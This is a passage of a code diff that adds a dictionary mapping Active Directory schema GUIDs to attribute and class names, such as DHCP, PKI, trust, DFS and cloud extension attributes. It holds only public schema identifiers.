'da73a085-6e64-4d61-b064-015d04164795': 'ms-DFS-Namespace-Anchor', + '4d8601ee-ac85-11d0-afe3-00c04fd930c9': 'Context-Menu', + 'bf9679bf-0de6-11d0-a285-00aa003049e2': 'May-Contain', + '8a5c99e9-2230-46eb-b8e8-e59d712eb9ee': 'ms-IIS-FTP-Dir', + '963d274d-48be-11d1-a9c3-0000f80367c1': 'Option-Description', + '26d97372-6070-11d1-a9c6-0000f80367c1': 'Transport-DLL-Name', + 'f34ee0ac-c0c1-4ba9-82c9-1a90752f16a5': 'ms-DS-cloudExtensionAttribute2', + '1c332fe0-0c2a-4f32-afca-23c5e45a9e77': 'ms-DFSR-ReplicationGroup', + '6da8a4fc-0e52-11d0-a286-00aa003049e2': 'Control-Access-Rights', + '11b6cc8b-48c4-11d1-a9c3-0000f80367c1': 'meetingAdvertiseScope', + '2a7827a4-1483-49a5-9d84-52e3812156b4': 'ms-IIS-FTP-Root', + '19195a53-6da0-11d0-afd3-00c04fd930c9': 'Options', + '26d97374-6070-11d1-a9c6-0000f80367c1': 'Transport-Type', + '82f6c81a-fada-4a0d-b0f7-706d46838eb5': 'ms-DS-cloudExtensionAttribute3', + '21cb8628-f3c3-4bbf-bff6-060b2d8f299a': 'ms-DFS-Namespace-v2', + 'bf967944-0de6-11d0-a285-00aa003049e2': 'Cost', + '11b6cc83-48c4-11d1-a9c3-0000f80367c1': 'meetingApplication', + '51583ce9-94fa-4b12-b990-304c35b18595': 'ms-Imaging-PSP-Identifier', + '963d274e-48be-11d1-a9c3-0000f80367c1': 'Options-Location', + '8fd044e3-771f-11d1-aeae-0000f80367c1': 'Treat-As-Leaf', + '9cbf3437-4e6e-485b-b291-22b02554273f': 'ms-DS-cloudExtensionAttribute4', + '64759b35-d3a1-42e4-b5f1-a3de162109b3': 'ms-DFSR-Content', + '508ca374-a511-4e4e-9f4f-856f61a6b7e4': 'Address-Book-Roots2', + '5fd42471-1262-11d0-a060-00aa006c33ed': 'Country-Code', + '11b6cc92-48c4-11d1-a9c3-0000f80367c1': 'meetingBandwidth', + '7b6760ae-d6ed-44a6-b6be-9de62c09ec67': 'ms-Imaging-PSP-String', + 'bf9679ef-0de6-11d0-a285-00aa003049e2': 'Organization-Name', + '28630ebd-41d5-11d1-a9c1-0000f80367c1': 'Tree-Name', + '2915e85b-e347-4852-aabb-22e5a651c864': 'ms-DS-cloudExtensionAttribute5', + '4898f63d-4112-477c-8826-3ca00bd8277d': 'Global-Address-List2', + 'bf967945-0de6-11d0-a285-00aa003049e2': 'Country-Name', + '11b6cc93-48c4-11d1-a9c3-0000f80367c1': 'meetingBlob', + '35697062-1eaf-448b-ac1e-388e0be4fdee': 'ms-net-ieee-80211-GP-PolicyGUID', + 'bf9679f0-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit-Name', + '80a67e5a-9f22-11d0-afdd-00c04fd930c9': 'Trust-Attributes', + '60452679-28e1-4bec-ace3-712833361456': 'ms-DS-cloudExtensionAttribute6', + '4937f40d-a6dc-4d48-97ca-06e5fbfd3f16': 'ms-DFSR-ContentSet', + 'b1cba91a-0682-4362-a659-153e201ef069': 'Template-Roots2', + '2b09958a-8931-11d1-aebc-0000f80367c1': 'Create-Dialog', + '11b6cc87-48c4-11d1-a9c3-0000f80367c1': 'meetingContactInfo', + '9c1495a5-4d76-468e-991e-1433b0a67855': 'ms-net-ieee-80211-GP-PolicyData', + '28596019-7349-4d2f-adff-5a629961f942': 'organizationalStatus', + 'bf967a59-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Incoming', + '4a7c1319-e34e-40c2-9d00-60ff7890f207': 'ms-DS-cloudExtensionAttribute7', + '2df90d73-009f-11d2-aa4c-00c04fd7d83a': 'Create-Time-Stamp', + '11b6cc7e-48c4-11d1-a9c3-0000f80367c1': 'meetingDescription', + '0f69c62e-088e-4ff5-a53a-e923cec07c0a': 'ms-net-ieee-80211-GP-PolicyReserved', + '5fd424ce-1262-11d0-a060-00aa006c33ed': 'Original-Display-Table', + 'bf967a5f-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Outgoing', + '3cd1c514-8449-44ca-81c0-021781800d2a': 'ms-DS-cloudExtensionAttribute8', + '04828aa9-6e42-4e80-b962-e2fe00754d17': 'ms-DFSR-Topology', + 'b8442f58-c490-4487-8a9d-d80b883271ad': 'ms-DS-Claim-Type-Property-Base', + '2b09958b-8931-11d1-aebc-0000f80367c1': 'Create-Wizard-Ext', + '11b6cc91-48c4-11d1-a9c3-0000f80367c1': 'meetingEndTime', + '94a7b05a-b8b2-4f59-9c25-39e69baa1684': 'ms-net-ieee-8023-GP-PolicyGUID', + '5fd424cf-1262-11d0-a060-00aa006c33ed': 'Original-Display-Table-MSDOS', + 'bf967a5c-0de6-11d0-a285-00aa003049e2': 'Trust-Direction', + '0a63e12c-3040-4441-ae26-cd95af0d247e': 'ms-DS-cloudExtensionAttribute9', + 'bf967946-0de6-11d0-a285-00aa003049e2': 'Creation-Time', + '11b6cc7c-48c4-11d1-a9c3-0000f80367c1': 'meetingID', + '8398948b-7457-4d91-bd4d-8d7ed669c9f7': 'ms-net-ieee-8023-GP-PolicyData', + 'bf9679f1-0de6-11d0-a285-00aa003049e2': 'Other-Login-Workstations', + 'b000ea7a-a086-11d0-afdd-00c04fd930c9': 'Trust-Parent', + '670afcb3-13bd-47fc-90b3-0a527ed81ab7': 'ms-DS-cloudExtensionAttribute10', + '4229c897-c211-437c-a5ae-dbf705b696e5': 'ms-DFSR-Member', + '36093235-c715-4821-ab6a-b56fb2805a58': 'ms-DS-Claim-Types', + '4d8601ed-ac85-11d0-afe3-00c04fd930c9': 'Creation-Wizard', + '11b6cc89-48c4-11d1-a9c3-0000f80367c1': 'meetingIP', + 'd3c527c7-2606-4deb-8cfd-18426feec8ce': 'ms-net-ieee-8023-GP-PolicyReserved', + '0296c123-40da-11d1-a9c0-0000f80367c1': 'Other-Mailbox', + 'bf967a5d-0de6-11d0-a285-00aa003049e2': 'Trust-Partner', + '9e9ebbc8-7da5-42a6-8925-244e12a56e24': 'ms-DS-cloudExtensionAttribute11', + '7bfdcb85-4807-11d1-a9c3-0000f80367c1': 'Creator', + '11b6cc8e-48c4-11d1-a9c3-0000f80367c1': 'meetingIsEncrypted', + '3164c36a-ba26-468c-8bda-c1e5cc256728': 'ms-PKI-Cert-Template-OID', + 'bf9679f2-0de6-11d0-a285-00aa003049e2': 'Other-Name', + 'bf967a5e-0de6-11d0-a285-00aa003049e2': 'Trust-Posix-Offset', + '3c01c43d-e10b-4fca-92b2-4cf615d5b09a': 'ms-DS-cloudExtensionAttribute12', + 'e58f972e-64b5-46ef-8d8b-bbc3e1897eab': 'ms-DFSR-Connection', + '7a4a4584-b350-478f-acd6-b4b852d82cc0': 'ms-DS-Resource-Properties', + '963d2737-48be-11d1-a9c3-0000f80367c1': 'CRL-Object', + '11b6cc7f-48c4-11d1-a9c3-0000f80367c1': 'meetingKeyword', + 'dbd90548-aa37-4202-9966-8c537ba5ce32': 'ms-PKI-Certificate-Application-Policy', + '1ea64e5d-ac0f-11d2-90df-00c04fd91ab1': 'Other-Well-Known-Objects', + 'bf967a60-0de6-11d0-a285-00aa003049e2': 'Trust-Type', + '28be464b-ab90-4b79-a6b0-df437431d036': 'ms-DS-cloudExtensionAttribute13', + '963d2731-48be-11d1-a9c3-0000f80367c1': 'CRL-Partitioned-Revocation-List', + '11b6cc84-48c4-11d1-a9c3-0000f80367c1': 'meetingLanguage', + 'ea1dddc4-60ff-416e-8cc0-17cee534bce7': 'ms-PKI-Certificate-Name-Flag', + 'bf9679f3-0de6-11d0-a285-00aa003049e2': 'Owner', + 'bf967a61-0de6-11d0-a285-00aa003049e2': 'UAS-Compat', + 'cebcb6ba-6e80-4927-8560-98feca086a9f': 'ms-DS-cloudExtensionAttribute14', + '7b9a2d92-b7eb-4382-9772-c3e0f9baaf94': 'ms-ieee-80211-Policy', + '81a3857c-5469-4d8f-aae6-c27699762604': 'ms-DS-Claim-Type', + '167757b2-47f3-11d1-a9c3-0000f80367c1': 'Cross-Certificate-Pair', + '11b6cc80-48c4-11d1-a9c3-0000f80367c1': 'meetingLocation', + '38942346-cc5b-424b-a7d8-6ffd12029c5f': 'ms-PKI-Certificate-Policy', + '7d6c0e99-7e20-11d0-afd6-00c04fd930c9': 'Package-Flags', + '0bb0fca0-1e89-429f-901a-1413894d9f59': 'uid', + 'aae4d537-8af0-4daa-9cc6-62eadb84ff03': 'ms-DS-cloudExtensionAttribute15', + '1f0075fe-7e40-11d0-afd6-00c04fd930c9': 'Curr-Machine-Id', + '11b6cc85-48c4-11d1-a9c3-0000f80367c1': 'meetingMaxParticipants', + 'b7ff5a38-0818-42b0-8110-d3d154c97f24': 'ms-PKI-Credential-Roaming-Tokens', + '7d6c0e98-7e20-11d0-afd6-00c04fd930c9': 'Package-Name', + 'bf967a64-0de6-11d0-a285-00aa003049e2': 'UNC-Name', + '9581215b-5196-4053-a11e-6ffcafc62c4d': 'ms-DS-cloudExtensionAttribute16', + 'a0ed2ac1-970c-4777-848e-ec63a0ec44fc': 'ms-Imaging-PSPs', + '5b283d5e-8404-4195-9339-8450188c501a': 'ms-DS-Resource-Property', + '1f0075fc-7e40-11d0-afd6-00c04fd930c9': 'Current-Location', + '11b6cc7d-48c4-11d1-a9c3-0000f80367c1': 'meetingName', + 'd15ef7d8-f226-46db-ae79-b34e560bd12c': 'ms-PKI-Enrollment-Flag', + '7d6c0e96-7e20-11d0-afd6-00c04fd930c9': 'Package-Type', + 'bf9679e1-0de6-11d0-a285-00aa003049e2': 'Unicode-Pwd', + '3d3c6dda-6be8-4229-967e-2ff5bb93b4ce': 'ms-DS-cloudExtensionAttribute17', + '963d273f-48be-11d1-a9c3-0000f80367c1': 'Current-Parent-CA', + '11b6cc86-48c4-11d1-a9c3-0000f80367c1': 'meetingOriginator', + 'f22bd38f-a1d0-4832-8b28-0331438886a6': 'ms-PKI-Enrollment-Servers', + '5245801b-ca6a-11d0-afff-0000f80367c1': 'Parent-CA', + 'ba0184c7-38c5-4bed-a526-75421470580c': 'uniqueIdentifier', + '88e73b34-0aa6-4469-9842-6eb01b32a5b5': 'ms-DS-cloudExtensionAttribute18', + '1f7c257c-b8a3-4525-82f8-11ccc7bee36e': 'ms-Imaging-PostScanProcess', + '72e3d47a-b342-4d45-8f56-baff803cabf9': 'ms-DS-Resource-Property-List', + 'bf967947-0de6-11d0-a285-00aa003049e2': 'Current-Value', + '11b6cc88-48c4-11d1-a9c3-0000f80367c1': 'meetingOwner', + 'e96a63f5-417f-46d3-be52-db7703c503df': 'ms-PKI-Minimal-Key-Size', + '963d2733-48be-11d1-a9c3-0000f80367c1': 'Parent-CA-Certificate-Chain', + '8f888726-f80a-44d7-b1ee-cb9df21392c8': 'uniqueMember', + '0975fe99-9607-468a-8e18-c800d3387395': 'ms-DS-cloudExtensionAttribute19', + 'bf96799c-0de6-11d0-a285-00aa003049e2': 'DBCS-Pwd', + '11b6cc81-48c4-11d1-a9c3-0000f80367c1': 'meetingProtocol', + '8c9e1288-5028-4f4f-a704-76d026f246ef': 'ms-PKI-OID-Attribute', + '2df90d74-009f-11d2-aa4c-00c04fd7d83a': 'Parent-GUID', + '50950839-cc4c-4491-863a-fcf942d684b7': 'unstructuredAddress', + 'f5446328-8b6e-498d-95a8-211748d5acdc': 'ms-DS-cloudExtensionAttribute20', + 'a16f33c7-7fd6-4828-9364-435138fda08d': 'ms-Print-ConnectionPolicy', + 'b72f862b-bb25-4d5d-aa51-62c59bdf90ae': 'ms-SPP-Activation-Objects-Container', + 'bf967948-0de6-11d0-a285-00aa003049e2': 'Default-Class-Store', + '11b6cc8d-48c4-11d1-a9c3-0000f80367c1': 'meetingRating', + '5f49940e-a79f-4a51-bb6f-3d446a54dc6b': 'ms-PKI-OID-CPS', + '28630ec0-41d5-11d1-a9c1-0000f80367c1': 'Partial-Attribute-Deletion-List', + '9c8ef177-41cf-45c9-9673-7716c0c8901b': 'unstructuredName', + '6b3d6fda-0893-43c4-89fb-1fb52a6616a9': 'ms-DS-Issuer-Certificates', + '720bc4e2-a54a-11d0-afdf-00c04fd930c9': 'Default-Group', + '11b6cc8f-48c4-11d1-a9c3-0000f80367c1': 'meetingRecurrence', + '7d59a816-bb05-4a72-971f-5c1331f67559': 'ms-PKI-OID-LocalizedName', + '19405b9e-3cfa-11d1-a9c0-0000f80367c1': 'Partial-Attribute-Set', + 'd9e18312-8939-11d1-aebc-0000f80367c1': 'Upgrade-Product-Code', + 'ca3286c2-1f64-4079-96bc-e62b610e730f': 'ms-DS-Registration-Quota', + '37cfd85c-6719-4ad8-8f9e-8678ba627563': 'ms-PKI-Enterprise-Oid', + '51a0e68c-0dc5-43ca-935d-c1c911bf2ee5': 'ms-SPP-Activation-Object', + 'b7b13116-b82e-11d0-afee-0000f80367c1': 'Default-Hiding-Value', + '11b6cc8a-48c4-11d1-a9c3-0000f80367c1': 'meetingScope', + '04c4da7a-e114-4e69-88de-e293f2d3b395': 'ms-PKI-OID-User-Notice', + '07383084-91df-11d1-aebc-0000f80367c1': 'Pek-Key-Change-Interval', + '032160bf-9824-11d1-aec0-0000f80367c1': 'UPN-Suffixes', + '0a5caa39-05e6-49ca-b808-025b936610e7': 'ms-DS-Maximum-Registration-Inactivity-Period', + 'bf96799f-0de6-11d0-a285-00aa003049e2': 'Default-Local-Policy-Object', + '11b6cc90-48c4-11d1-a9c3-0000f80367c1': 'meetingStartTime', + 'bab04ac2-0435-4709-9307-28380e7c7001': 'ms-PKI-Private-Key-Flag', + '07383083-91df-11d1-aebc-0000f80367c1': 'Pek-List', + 'bf967a68-0de6-11d0-a285-00aa003049e2': 'User-Account-Control', + 'e3fb56c8-5de8-45f5-b1b1-d2b6cd31e762': 'ms-DS-Device-Location', + '26ccf238-a08e-4b86-9a82-a8c9ac7ee5cb': 'ms-PKI-Key-Recovery-Agent', + 'e027a8bd-6456-45de-90a3-38593877ee74': 'ms-TPM-Information-Objects-Container', + '26d97367-6070-11d1-a9c6-0000f80367c1': 'Default-Object-Category', + '11b6cc82-48c4-11d1-a9c3-0000f80367c1': 'meetingType', + '0cd8711f-0afc-4926-a4b1-09b08d3d436c': 'ms-PKI-Site-Name', + '963d273c-48be-11d1-a9c3-0000f80367c1': 'Pending-CA-Certificates', + 'bf967a69-0de6-11d0-a285-00aa003049e2': 'User-Cert', + '617626e9-01eb-42cf-991f-ce617982237e': 'ms-DS-Registered-Owner', + '281416c8-1968-11d0-a28f-00aa003049e2': 'Default-Priority', + '11b6cc8c-48c4-11d1-a9c3-0000f80367c1': 'meetingURL', + '9de8ae7d-7a5b-421d-b5e4-061f79dfd5d7': 'ms-PKI-Supersede-Templates', + '963d273e-48be-11d1-a9c3-0000f80367c1': 'Pending-Parent-CA', + 'bf967a6a-0de6-11d0-a285-00aa003049e2': 'User-Comment', + '0449160c-5a8e-4fc8-b052-01c0f6e48f02': 'ms-DS-Registered-Users', + '05f6c878-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLServer', + '85045b6a-47a6-4243-a7cc-6890701f662c': 'ms-TPM-Information-Object', + '807a6d30-1669-11d0-a064-00aa006c33ed': 'Default-Security-Descriptor', + 'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Member', + '13f5236c-1884-46b1-b5d0-484e38990d58': 'ms-PKI-Template-Minor-Revision', + '5fd424d3-1262-11d0-a060-00aa006c33ed': 'Per-Msg-Dialog-Display-Table', + 'bf967a6d-0de6-11d0-a285-00aa003049e2': 'User-Parameters', + 'a34f983b-84c6-4f0c-9050-a3a14a1d35a4': 'ms-DS-Approximate-Last-Logon-Time-Stamp', + '167757b5-47f3-11d1-a9c3-0000f80367c1': 'Delta-Revocation-List', + '0296c122-40da-11d1-a9c0-0000f80367c1': 'MHS-OR-Address', + '0c15e9f5-491d-4594-918f-32813a091da9': 'ms-PKI-Template-Schema-Version', + '5fd424d4-1262-11d0-a060-00aa006c33ed': 'Per-Recip-Dialog-Display-Table', + 'bf967a6e-0de6-11d0-a285-00aa003049e2': 'User-Password', + '22a95c0e-1f83-4c82-94ce-bea688cfc871': 'ms-DS-Is-Enabled', + '0c7e18ea-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPServer', + 'ef2fc3ed-6e18-415b-99e4-3114a8cb124b': 'ms-DNS-Server-Settings', + 'bf96794f-0de6-11d0-a285-00aa003049e2': 'Department', + 'bf9679c2-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Age', + '3c91fbbf-4773-4ccd-a87b-85d53e7bcf6a': 'ms-PKI-RA-Application-Policies', + '16775858-47f3-11d1-a9c3-0000f80367c1': 'Personal-Title', + '11732a8a-e14d-4cc5-b92f-d93f51c6d8e4': 'userClass', + '100e454d-f3bb-4dcb-845f-8d5edc471c59': 'ms-DS-Device-OS-Type', + 'be9ef6ee-cbc7-4f22-b27b-96967e7ee585': 'departmentNumber', + 'bf9679c3-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Length', + 'd546ae22-0951-4d47-817e-1c9f96faad46': 'ms-PKI-RA-Policies', + '0296c11d-40da-11d1-a9c0-0000f80367c1': 'Phone-Fax-Other', + '23998ab5-70f8-4007-a4c1-a84a38311f9a': 'userPKCS12', + '70fb8c63-5fab-4504-ab9d-14b329a8a7f8': 'ms-DS-Device-OS-Version', + '11d43c5c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLRepository', + '555c21c3-a136-455a-9397-796bbd358e25': 'ms-Authz-Central-Access-Policies', + 'bf967950-0de6-11d0-a285-00aa003049e2': 'Description', + 'bf9679c4-0de6-11d0-a285-00aa003049e2': 'Min-Ticket-Age', + 'fe17e04b-937d-4f7e-8e0e-9292c8d5683e': 'ms-PKI-RA-Signature', + 'f0f8ffa2-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Other', + '28630ebb-41d5-11d1-a9c1-0000f80367c1': 'User-Principal-Name', + '90615414-a2a0-4447-a993-53409599b74e': 'ms-DS-Device-Physical-IDs', + 'eea65906-8ac6-11d0-afda-00c04fd930c9': 'Desktop-Profile', + 'bf9679c5-0de6-11d0-a285-00aa003049e2': 'Modified-Count', + '6617e4ac-a2f1-43ab-b60c-11fbd1facf05': 'ms-PKI-RoamingTimeStamp', + 'f0f8ffa1-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Primary', + '9a9a021f-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder', + 'c30181c7-6342-41fb-b279-f7c566cbe0a7': 'ms-DS-Device-ID', + '17c2f64e-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLPublication', + '99bb1b7a-606d-4f8b-800e-e15be554ca8d': 'ms-Authz-Central-Access-Rules', + '974c9a02-33fc-11d3-aa6e-00c04f8eedd8': 'msExch-Proxy-Gen-Options', + 'bf967951-0de6-11d0-a285-00aa003049e2': 'Destination-Indicator', + 'bf9679c6-0de6-11d0-a285-00aa003049e2': 'Modified-Count-At-Last-Prom', + 'b3f93023-9239-4f7c-b99c-6745d87adbc2': 'ms-PKI-DPAPIMasterKeys', + '4d146e4b-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Other', + '9a9a0220-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder-Other', + 'ef65695a-f179-4e6a-93de-b01e06681cfb': 'ms-DS-Device-Object-Version', + '963d2750-48be-11d1-a9c3-0000f80367c1': 'dhcp-Classes', + '9a7ad94a-ca53-11d1-bbd0-0080c76670c0': 'Modify-Time-Stamp', + 'b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7': 'ms-PKI-AccountCredentials', + '4d146e4a-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Primary', + 'e16a9db2-403c-11d1-a9c0-0000f80367c1': 'User-SMIME-Certificate', + '862166b6-c941-4727-9565-48bfff2941de': 'ms-DS-Is-Member-Of-DL-Transitive', + '1d08694a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLDatabase', + '5b4a06dc-251c-4edb-8813-0bdd71327226': 'ms-Authz-Central-Access-Rule', + '963d2741-48be-11d1-a9c3-0000f80367c1': 'dhcp-Flags', + 'bf9679c7-0de6-11d0-a285-00aa003049e2': 'Moniker', + 'f39b98ad-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Attribute', + '0296c11f-40da-11d1-a9c0-0000f80367c1': 'Phone-ISDN-Primary', + 'bf9679d7-0de6-11d0-a285-00aa003049e2': 'User-Workstations', + 'e215395b-9104-44d9-b894-399ec9e21dfc': 'ms-DS-Member-Transitive', + '963d2742-48be-11d1-a9c3-0000f80367c1': 'dhcp-Identification', + 'bf9679c8-0de6-11d0-a285-00aa003049e2': 'Moniker-Display-Name', + 'f39b98ac-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Vendor-Attribute-Entry', + '0296c11e-40da-11d1-a9c0-0000f80367c1': 'Phone-Mobile-Other', + 'bf967a6f-0de6-11d0-a285-00aa003049e2': 'USN-Changed', + 'b918fe7d-971a-f404-9e21-9261abec970b': 'ms-DS-Parent-Dist-Name', + '20af031a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPDatabase', + 'a5679cb0-6f9d-432c-8b75-1e3e834f02aa': 'ms-Authz-Central-Access-Policy', + '963d2747-48be-11d1-a9c3-0000f80367c1': 'dhcp-Mask', + '1f2ac2c8-3b71-11d2-90cc-00c04fd91ab1': 'Move-Tree-State', + 'a6f24a23-d65c-4d65-a64f-35fb6873c2b9': 'ms-RADIUS-FramedInterfaceId', + 'f0f8ffa3-1191-11d0-a060-00aa006c33ed': 'Phone-Mobile-Primary', + 'bf967a70-0de6-11d0-a285-00aa003049e2': 'USN-Created', + '1e02d2ef-44ad-46b2-a67d-9fd18d780bca': 'ms-DS-Repl-Value-Meta-Data-Ext', + '963d2754-48be-11d1-a9c3-0000f80367c1': 'dhcp-MaxKey', + '998b10f7-aa1a-4364-b867-753d197fe670': 'ms-COM-DefaultPartitionLink', + 'a4da7289-92a3-42e5-b6b6-dad16d280ac9': 'ms-RADIUS-SavedFramedInterfaceId', + 'f0f8ffa5-1191-11d0-a060-00aa006c33ed': 'Phone-Office-Other', + 'bf967a71-0de6-11d0-a285-00aa003049e2': 'USN-DSA-Last-Obj-Removed', + '6055f766-202e-49cd-a8be-e52bb159edfb': 'ms-DS-Drs-Farm-ID', + '09f0506a-cd28-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPCube', + '5ef243a8-2a25-45a6-8b73-08a71ae677ce': 'ms-Kds-Prov-ServerConfiguration', + '963d2744-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Description', + '430f678b-889f-41f2-9843-203b5a65572f': 'ms-COM-ObjectId', + 'f63ed610-d67c-494d-87be-cd1e24359a38': 'ms-RADIUS-FramedIpv6Prefix', + 'f0f8ffa4-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Other', + 'a8df7498-c5ea-11d1-bbcb-0080c76670c0': 'USN-Intersite', + 'b5f1edfe-b4d2-4076-ab0f-6148342b0bf6': 'ms-DS-Issuer-Public-Certificates', + '963d2743-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Name', + '09abac62-043f-4702-ac2b-6ca15eee5754': 'ms-COM-PartitionLink', + '0965a062-b1e1-403b-b48d-5c0eb0e952cc': 'ms-RADIUS-SavedFramedIpv6Prefix', + 'f0f8ffa6-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Primary', + 'bf967a73-0de6-11d0-a285-00aa003049e2': 'USN-Last-Obj-Rem', + '60686ace-6c27-43de-a4e5-f00c2f8d3309': 'ms-DS-IsManaged', + 'ca7b9735-4b2a-4e49-89c3-99025334dc94': 'ms-TAPI-Rt-Conference', + 'aa02fd41-17e0-4f18-8687-b2239649736b': 'ms-Kds-Prov-RootKey', + '963d274f-48be-11d1-a9c3-0000f80367c1': 'dhcp-Options', + '67f121dc-7d02-4c7d-82f5-9ad4c950ac34': 'ms-COM-PartitionSetLink', + '5a5aa804-3083-4863-94e5-018a79a22ec0': 'ms-RADIUS-FramedIpv6Route', + '9c979768-ba1a-4c08-9632-c6a5c1ed649a': 'photo', + '167758ad-47f3-11d1-a9c3-0000f80367c1': 'USN-Source', + '5315ba8e-958f-4b52-bd38-1349a304dd63': 'ms-DS-Cloud-IsManaged', + '963d2753-48be-11d1-a9c3-0000f80367c1': 'dhcp-Properties', + '9e6f3a4d-242c-4f37-b068-36b57f9fc852': 'ms-COM-UserLink', + '9666bb5c-df9d-4d41-b437-2eec7e27c9b3': 'ms-RADIUS-SavedFramedIpv6Route', + 'bf9679f7-0de6-11d0-a285-00aa003049e2': 'Physical-Delivery-Office-Name', + '4d2fa380-7f54-11d2-992a-0000f87a57d4': 'Valid-Accesses', + '78565e80-03d4-4fe3-afac-8c3bca2f3653': 'ms-DS-Cloud-Anchor', + '53ea1cb5-b704-4df9-818f-5cb4ec86cac1': 'ms-TAPI-Rt-Person', + '7b8b558a-93a5-4af7-adca-c017e67f1057': 'ms-DS-Group-Managed-Service-Account', + '963d2748-48be-11d1-a9c3-0000f80367c1': 'dhcp-Ranges', + '8e940c8a-e477-4367-b08d-ff2ff942dcd7': 'ms-COM-UserPartitionSetLink', + '3532dfd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Name', + 'b7b13119-b82e-11d0-afee-0000f80367c1': 'Physical-Location-Object', + '281416df-1968-11d0-a28f-00aa003049e2': 'Vendor', + 'a1e8b54f-4bd6-4fd2-98e2-bcee92a55497': 'ms-DS-Cloud-Issuer-Public-Certificates', + '963d274a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Reservations', + 'e85e1204-3434-41ad-9b56-e2901228fff0': 'MS-DRM-Identity-Certificate', + '48fd44ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-RegisteredOwner', + '8d3bca50-1d7e-11d0-a081-00aa006c33ed': 'Picture', + 'bf967a76-0de6-11d0-a285-00aa003049e2': 'Version-Number', + '89848328-7c4e-4f6f-a013-28ce3ad282dc': 'ms-DS-Cloud-IsEnabled', + '50ca5d7d-5c8b-4ef3-b9df-5b66d491e526': 'ms-WMI-IntRangeParam', + 'e3c27fdf-b01d-4f4e-87e7-056eef0eb922': 'ms-DS-Value-Type', + '963d2745-48be-11d1-a9c3-0000f80367c1': 'dhcp-Servers', + '80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'ms-DS-Additional-Dns-Host-Name', + '4f6cbdd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Contact', + 'fc5a9106-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Critical-Extensions', + '7d6c0e9a-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Hi', + 'b7acc3d2-2a74-4fa4-ac25-e63fe8b61218': 'ms-DS-SyncServerUrl', + '963d2749-48be-11d1-a9c3-0000f80367c1': 'dhcp-Sites', + '975571df-a4d5-429a-9f59-cdc6581d91e6': 'ms-DS-Additional-Sam-Account-Name', + '561c9644-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Location', + '1ef6336e-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Default-CSPs', + '7d6c0e9b-7e20-11d0-afd6-00c04fd930c9': 'Version-Number-Lo', + 'de0caa7f-724e-4286-b179-192671efc664': 'ms-DS-User-Allowed-To-Authenticate-To', + '292f0d9a-cf76-42b0-841f-b650f331df62': 'ms-WMI-IntSetParam', + '2eeb62b3-1373-fe45-8101-387f1676edc7': 'ms-DS-Claims-Transformation-Policy-Type', + '963d2752-48be-11d1-a9c3-0000f80367c1': 'dhcp-State', + 'd3aa4a5c-4e03-4810-97aa-2b339e7a434b': 'MS-DS-All-Users-Trust-Quota', + '5b5d448c-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Memory', + '426cae6e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Default-Key-Spec', + '1f0075fd-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-GUID', + '2c4c9600-b0e1-447d-8dda-74902257bdb5': 'ms-DS-User-Allowed-To-Authenticate-From', + '963d2746-48be-11d1-a9c3-0000f80367c1': 'dhcp-Subnets', + '8469441b-9ac4-4e45-8205-bd219dbf672d': 'ms-DS-Allowed-DNS-Suffixes', + '603e94c4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Build', + '926be278-56f9-11d2-90d0-00c04fd91ab1': 'PKI-Enrollment-Access', + '1f0075fb-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-Idx-GUID', + '8521c983-f599-420f-b9ab-b1222bdf95c1': 'ms-DS-User-TGT-Lifetime', + '07502414-fdca-4851-b04a-13645b11d226': 'ms-WMI-MergeablePolicyTemplate', + 'c8fca9b1-7d88-bb4f-827a-448927710762': 'ms-DS-Claims-Transformation-Policies', + '963d273b-48be-11d1-a9c3-0000f80367c1': 'dhcp-Type', + '800d94d7-b7a1-42a1-b14d-7cae1423d07f': 'ms-DS-Allowed-To-Delegate-To', + '64933a3e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ServiceAccount', + '041570d2-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Expiration-Period', + '34aaa217-b699-11d0-afee-0000f80367c1': 'Volume-Count', + '105babe9-077e-4793-b974-ef0410b62573': 'ms-DS-Computer-Allowed-To-Authenticate-To', + '963d273a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Unique-Key', + 'c4af1073-ee50-4be0-b8c0-89a41fe99abe': 'ms-DS-Auxiliary-Classes', + '696177a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CharacterSet', + '18976af6-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Extended-Key-Usage', + '244b2970-5abd-11d0-afd2-00c04fd930c9': 'Wbem-Path', + 